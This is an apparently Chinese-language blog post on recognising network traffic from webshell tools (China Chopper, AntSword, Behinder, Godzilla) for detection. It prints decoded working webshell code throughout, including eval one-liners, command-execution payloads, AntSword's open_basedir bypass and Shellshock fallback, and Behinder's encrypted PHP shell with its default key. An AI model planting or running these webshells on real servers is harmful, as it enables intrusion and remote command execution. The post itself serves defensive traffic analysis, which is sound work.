前言
辨认常见Webshell流量的特性,可帮助我们辨认攻击者采取何种webshell工具,以及上传了什么范例的webshell,以下是一些常见的webshell流量特性。
中国菜刀
中国菜刀简介
菜刀主流版本主要是2011版、2014版、2016版。从2011版本到2014版本是功能性上进行了增强,从2014版本到2016版本是在隐秘性上进行了增强,2016版本的菜刀流量参加了混淆。
中国菜刀2011
变量1
- @eval(base64_decode($_POST[z0]));
复制代码 菜刀会默认再上传一个一句话木马进行后续的命令
z0
- QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1
- b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9Y
- mFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRS
- JdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7
- JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIsJHJldCk7cHJpbnQgKCRyZXQhPTApPyIKcmV0PXskcmV0fQoiOiIiOz
- tlY2hvKCJ8PC0iKTtkaWUoKTs=
复制代码- @ini_set("display_errors","0");
- //临时关闭PHP的错误显示功能
- @set_time_limit(0);
- //不限制页面执行时间,防止上传大马时超时
- @set_magic_quotes_runtime(0);
- //关闭魔术引号,加上反斜杠转义外部导入的特殊字符
- echo("->|");;
- $p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);
- $d=dirname($_SERVER["SCRIPT_FILENAME"]);
- //函数返回路径中的目录部分
- $c=substr($d,0,1)=="/"?"-c "{$s}"":"/c "{$s}"";
- $r="{$p} {$c}";@system($r." 2>&1",$ret);
- print ($ret!=0)?"ret={$ret}
- ":"";;echo("|<-");die();
复制代码 z1
z2
- Y2QgL2QgIkM6XHhhbXBwXGh0ZG9jc1x1cGxvYWRcdXBsb2FkXCImd2hvYW1pJmVjaG8gW1NdJmNkJmVjaG8gW0Vd
复制代码- cd /d "C:\xampp\htdocs\upload\upload"&whoami&echo [S]&cd&echo [E]
复制代码 这里的[S]和[E]是用来辨认命令实行时的结果,以及当前地点目录,webshell工具中的目录
分析以上可得出其为windows系统的shell,Linux其实跟Windows的差不多
中国菜刀2014
- $xx%3Dchr(98).chr(97).chr(115).chr(101).chr(54).chr(52)
- .chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
- $xx=base64_decode;
复制代码- $yy=$_POST;@eval/**/.($xx/**/.($yy[z0]));
- 这里/**/表示注释符号,没有意思,可以翻译成:
- @eval(base64_decode($_POST[z0]))
复制代码 Payload
- @ini_set("display_errors","0");
- @set_time_limit(0);
- @set_magic_quotes_runtime(0);
- echo("->|");;
- $m=get_magic_quotes_gpc();
- $p=base64_decode($m?stripslashes($_POST["z1"]):$_POST["z1"]);
- $s=base64_decode($m?stripslashes($_POST["z2"]):$_POST["z2"]);
- $d=dirname($_SERVER["SCRIPT_FILENAME"]);
- $c=substr($d,0,1)=="/"?"-c"{$s}"":"/c"{$s}"";
- $r="{$p}{$c}";
- $array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));
- $fp=proc_open($r." 2>&1",$array,$pipes);
- $ret=stream_get_contents($pipes[1]);
- proc_close($fp);
- print $ret;;
- echo("|<-");die();
复制代码 和2011菜刀差别的点如下:
$m=get_magic_quotes_gpc(); 判定PHP有没有自动调用addslashes这个函数。若php调用了addslashes函数,则get_magic_quotes_gpc(),返回true。
默认情况下,PHP指令magic_quotes_gpc为on,对全部的GET、POST和COOKIE数据自动运行addslashes()。
不要对已经magic_quotes_gpc转义过的字符串使用addslashes(),由于这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc() 进行检测。addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。
中国菜刀2016
Payload
array_map(“ass”.“ert”,array(“ev”.“Al(”\$xx%3D\“Ba”.“SE6”.“4_dEc”.“OdE\”;@ev".“al(\$xx(‘QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JG09Z2V0X21hZ2ljX3F1b3Rlc19ncGMoKTskcD0nL2Jpbi9zaCc7JHM9J2NkIC92YXIvd3d3L21hc3Rlci9oYWNrYWJsZS91cGxvYWRzLztpcCBhZGRyO2VjaG8gW1NdO3B3ZDtlY2hvIFtFXSc7JGQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOyRjPXN1YnN0cigkZCwwLDEpPT0iLyI%2FIi1jIFwieyRzfVwiIjoiL2MgXCJ7JHN9XCIiOyRyPSJ7JHB9IHskY30iOyRhcnJheT1hcnJheShhcnJheSgicGlwZSIsInIiKSxhcnJheSgicGlwZSIsInciKSxhcnJheSgicGlwZSIsInciKSk7JGZwPXByb2Nfb3Blbigkci4iIDI%2BJjEiLCRhcnJheSwkcGlwZXMpOyRyZXQ9c3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pO3Byb2NfY2xvc2UoJGZwKTtwcmludCAkcmV0OztlY2hvKCJYQFkiKTtkaWUoKTs%3D’));”);"));
基本特性
- 调用array_map函数隐蔽传输恶意代码。
- 使用"Ba".“SE6”.“4_dEc”."OdE字符串拼接,隐蔽恶意代码。
- QGluaV9zZXQoImRpc3BsYXlf…,该部分是转达攻击payload,payload依旧使用Base64编码的
- @ini_set("display_errors","0");
- @set_time_limit(0);
- if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};
- echo("X@Y");
- $m=get_magic_quotes_gpc();
- $p='/bin/sh';
- $s='cd /var/www/master/hackable/uploads/;ip addr;echo [S];pwd;echo [E]';
- $d=dirname($_SERVER["SCRIPT_FILENAME"]);
- $c=substr($d,0,1)=="/"6"-c "{$s}"":"/c "{$s}"";$r="{$p} {$c}";$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$fp=proc_open($r."
复制代码 array_map:array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。可以是自己自定义,也可以选择使用系统自带的比如assert/eval函数,实行命令。
中国菜刀流量特性总结
菜刀2011
2011的特性之后的其他版本都有,但不是大部分明文传输了,特性没2011显着
- 明文传输,部分Base64(可解码)
- payload以@ini_set(“display_errors”,“0”)开头
- [S]和[E]是用来辨认命令实行的结果以及当前地点的目录
菜刀2014
- chr()Ascii混淆
- $m=get_magic_quotes_gpc(); 判定PHP有没有自动调用addslashes 这个函数。
addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。
- $yy=$_POST;@eval/**/.($xx/**/.($yy[z0]));解释符混淆
- proc_open&proc_close
函数用于实行一个命令,并且打开用来输入/输出的文件指针
菜刀2016
array_map函数隐蔽传输恶意代码
字符串拼接,如"Ba".“SE6”.“4_dEc”."OdE
中国蚁剑
蚁剑流量解码(URL)后的代码
- e82b77c74852d3=a6Y2QgIi92YXIvd3d3L21hc3Rlci9oYWNrYWJsZS91cGxvYWRzIjt3aG9hbWk7ZWNobyA3NjVjZTk7cHdkO2VjaG8gYTgzMjI=&k0f695a4c3d7fc=enL2Jpbi9zaA==&pass=@ini_set("display_errors", "0");@set_time_limit(0);
- $opdir = @ini_get("open_basedir");
- if ($opdir) {
- $oparr = preg_split("/\\\\|\//", $opdir);
- $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
- $tmdir = ".5062e111e";@
- mkdir($tmdir);@
- chdir($tmdir);@
- ini_set("open_basedir", "..");
- for ($i = 0; $i < sizeof($oparr); $i++) {@
- chdir("..");
- }@
- ini_set("open_basedir", "/");@
- rmdir($ocwd.
- "/".$tmdir);
- };
- function asenc($out) {
- return $out;
- };
- function asoutput() {
- $output = ob_get_contents();
- ob_end_clean();
- echo "6d29".
- "1125";
- echo@ asenc($output);
- echo "699".
- "aa2b";
- }
- ob_start();
- try {
- $p = base64_decode(substr($_POST["k0f695a4c3d7fc"], 2));
- $s = base64_decode(substr($_POST["e82b77c74852d3"], 2));
- $envstr = @base64_decode(substr($_POST["u61bc3c18390c2"], 2));
- $d = dirname($_SERVER["SCRIPT_FILENAME"]);
- $c = substr($d, 0, 1) == "/" ? "-c "{$s}"" : "/c "{$s}"";
- if (substr($d, 0, 1) == "/") {@
- putenv("PATH=".getenv("PATH").
- ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
- } else {@
- putenv("PATH=".getenv("PATH").
- ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
- } if (!empty($envstr)) {
- $envarr = explode("|||asline|||", $envstr);
- foreach($envarr as $v) {
- if (!empty($v)) {@
- putenv(str_replace("|||askey|||", "=", $v));
- }
- }
- }
- $r = "{$p} {$c}";
-
- function fe($f) {
- $d = explode(",", @ini_get("disable_functions"));
- if (empty($d)) {
- $d = array();
- } else {
- $d = array_map('trim', array_map('strtolower', $d));
- }
- return (function_exists($f) && is_callable($f) && !in_array($f, $d));
- };
-
- function runshellshock($d, $c) {
- if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
- if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
- $tmp = tempnam(sys_get_temp_dir(), 'as');
- putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
- if (fe('error_log')) {
- error_log("a", 1);
- } else {
- mail("a@127.0.0.1", "", "", "-bv");
- }
- } else {
- return False;
- }
- $output = @file_get_contents($tmp);@
- unlink($tmp);
- if ($output != "") {
- print($output);
- return True;
- }
- }
- return False;
- };
-
- function runcmd($c) {
- $ret = 0;
- $d = dirname($_SERVER["SCRIPT_FILENAME"]);
- if (fe('system')) {@
- system($c, $ret);
- }
- elseif(fe('passthru')) {@
- passthru($c, $ret);
- }
- elseif(fe('shell_exec')) {
- print(@shell_exec($c));
- }
- elseif(fe('exec')) {@
- exec($c, $o, $ret);
- print(join("
- ", $o));
- }
- elseif(fe('popen')) {
- $fp = @popen($c, 'r');
- while (!@feof($fp)) {
- print(@fgets($fp, 2048));
- }@
- pclose($fp);
- }
- elseif(fe('proc_open')) {
- $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
- while (!@feof($io[1])) {
- print(@fgets($io[1], 2048));
- }
- while (!@feof($io[2])) {
- print(@fgets($io[2], 2048));
- }@
- fclose($io[1]);@
- fclose($io[2]);@
- proc_close($p);
- }
- elseif(fe('antsystem')) {@
- antsystem($c);
- }
- elseif(runshellshock($d, $c)) {
- return $ret;
- }
- elseif(substr($d, 0, 1) != "/" && @class_exists("COM")) {
- $w = new COM('WScript.shell');
- $e = $w - > exec($c);
- $so = $e - > StdOut();
- $ret. = $so - > ReadAll();
- $se = $e - > StdErr();
- $ret. = $se - > ReadAll();
- print($ret);
- } else {
- $ret = 127;
- }
- return $ret;
- };
- $ret = @runcmd($r." 2>&1");
- print($ret != 0) ? "ret={$ret}" : "";;
- } catch (Exception $e) {
- echo "ERROR://".$e - > getMessage();
- };
- asoutput();
- die(); & u61bc3c18390c2 = pp
复制代码 关注点
在第一行代码中存在了两个POST请求的内容:分别是e82b77c74852d3和k0f695a4c3d7fc,这两个值是没有办法通过base64解码出来的,查看第33行代码,你会发现这两个值的内容须要从第三个字符才开始取,然后再base64_decode。
e82b77c74852d3=a6Y2QgIi92YXIvd3d3L21hc3Rlci9oYWNrYWJsZS91cGxvYWRzIjt3aG9hbWk7ZWNobyA3NjVjZTk7cHdkO2VjaG8gYTgzMjI=
k0f695a4c3d7fc=enL2Jpbi9zaA==
上面两个值,从第三个字符开始取,随后base64解码后得到:
- cd "/var/www/master/hackable/uploads";whoami;echo 765ce9;pwd;echo a8322
- /bin/sh
特性:
- 蚁剑代码源于中国菜刀,连接流量跟中国菜刀相似,一样寻常情况下也是base64一下,但是其扩充性很好,可以进行加密、混淆绕过
- PHP类WebShell链接流量:将蚁剑的正文内容进行URL解码后,流量最中显着的特性为@ini_set (“display_errors”,“0”)。
- 蚁剑中包含了很多加密、绕过插件,所以导致很多流量被加密后无法辨认,但是蚁剑混淆加密后还有一个比较显着的特性,即为参数名大多以“_0x…=”这种形式(下划线可更换为其他)
冰蝎
冰蝎数据
- <?php
- @error_reporting(0);
- session_start();
- $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
- $_SESSION['k']=$key;
- session_write_close();
- $post=file_get_contents("php://input");
- if(!extension_loaded('openssl'))
- {
- $t="base64_"."decode";
- $post=$t($post."");
-
- for($i=0;$i<strlen($post);$i++) {
- $post[$i] = $post[$i]^$key[$i+1&15];
- }
- # 这里将已经xor的内容和原始的key进行解亦或处理。
- }
- else
- {
- $post=openssl_decrypt($post, "AES128", $key);
- # 这里将aes加密的内容和key进行解密处理。
- }
- $arr=explode('|',$post);
- $func=$arr[0];
- $params=$arr[1];
- class C{public function __invoke($p) {eval($p."");}}
- @call_user_func(new C(),$params);
- ?>
复制代码 冰蝎的优点:
- Java开辟,支持跨平台运行
- 使用加密隧道传输数据,尽大概避免流量被WAF或IDS设备所捕获
- AES/xor加密
冰蝎2.0:
- 在连接Webshell的时间会存在一个密钥协商的过程,这个过程是纯明文的数据交换,冰蝎存在这样的特性:发起一共两次的密钥协商,通过比较两次密钥协商的返回包中内容的差别部分来获取其中的密钥。
- 冰蝎在发送HTTP请求时存在一些特性,例如其工具中内置了17个User-Agent头,在用户没有自定义的情况下会随机选择一个发送。但是这些User-Agent头大部分是一些老版本的浏览器或设备。
冰蝎3.0
- 去除动态密钥协商机制,采用预共享密钥,从原理上直接绕过了大量流量检测设备,全程无明文交互,密钥格式为md5(“str”),取前16位
- 增长了插件机制,可开辟安装自定义扩展插件
- UI框架由awt改为javafx,重写了大量逻辑
- 增强了内网穿透功能,在原有的基于HTTP的socks5隧道底子上,增长了单端口转发功能,可一键将内网端口映射至VPS或者本机端口
总结
冰蝎是一款动态二进制加密的Webshell工具,其流量特性包罗:
- Payload特性:PHP中使用eval或assert,ASP中在for循环中进行异或处置处罚,JSP中使用Java反射。
- 冰蝎2.0流量特性:第一阶段请求中返回包状态码为200,返回内容为16位密钥,请求包中存在Accept: text/html, image/gif, image/jpeg, ; q=.2, /; q=.2
- 冰蝎3.0流量特性:请求包中content-length为5740或5720,请求头中存在Pragma: no-cache,Cache-Control: no-cache 1
- 冰蝎4.0流量特性
- 响应包中的"Transfer-Encoding"字段值必然是"chunked"
- 异或及base64处置处罚的第一个响应包的开头字符为"TxcIQ"
- 迷惑及base64处置处罚的第一个请求包的开头字符为"svfjTI"
哥斯拉
特性
- 参数名固定:哥斯拉的请求参数名通常是 pass 或 password。
- 加密特性 :AES加密
- 固定分隔符:检查响应是否以 ->| 开头,以 |<- 结尾。
- …
检测思路
检测Webshell流量的方法包罗静态检测、动态检测和日志检测:
- 静态检测:通过匹配特性码、特性值和危险函数来查找Webshell。
- 动态检测:监控HTTP请求,检测非常文件访问和返回200的情况。
- 日志检测:分析Web服务器日志,查找非常的HTTP请求和文件操作
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |